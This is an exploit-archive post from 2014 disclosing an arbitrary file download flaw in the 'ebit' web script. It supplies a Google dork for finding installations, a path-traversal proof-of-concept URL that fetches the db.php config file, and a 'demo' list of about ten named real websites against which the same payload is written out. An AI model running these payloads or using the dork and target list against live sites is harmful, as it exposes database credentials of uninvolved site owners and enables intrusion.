facebook facebook twitter rss

script ebit <= 1.0.1 local Arbitrary File Download

Author: wlhaan hacker , Published: 01-10-2014
######################
# Exploit Title : script ebit <= 1.0.1 local Arbitrary File Download

# Exploit Author : wlhaan hacker

# Vendor Homepage : http://www.ebit.hr/

# Dork

#"Developed by EBIT IT"

# Date : 2014-08-18

# Tested on : Windows 7 / Mozilla Firefox
Linux / Mozilla Firefox


######################

# Description

ebit script <= download_file.php Arbitrary File Download


######################

# PoC

http://victim/path/download_file.php?file=../../diff/db.php


# demo

www.arh-lozica.hr/download_file.php?file=../../diff/db.php

www.ijf.hr/download_file.php?file=../../diff/db.php

www.dobri-dom.hr/download_file.php?file=../../diff/db.php

www.dobri-dom.hr/download_file.php?file=../../diff/db.php

www.huzec.hr/download_file.php?file=../../diff/db.php

www.brandeditems.com.ar/download_file.php?file=../../diff/db.php

http://www.siki-vet.hr/download_file.php?file=../../diff/db.php

www.mibex.hr/download_file.php?file=../../diff/db.php

www.miva.com.hr/download_file.php?file=../../diff/db.php

www.mibex.hr/download_file.php?file=../../diff/db.php



#####################

اهداء لبيت الهكر مشتاق له :(
محترفين السنه


Discovered By : wlhaan hacker
http://www.v4-team/
iit@hotmail.com


https://twitter.com/waleedal3ybani

#####################

Like us on Facebook :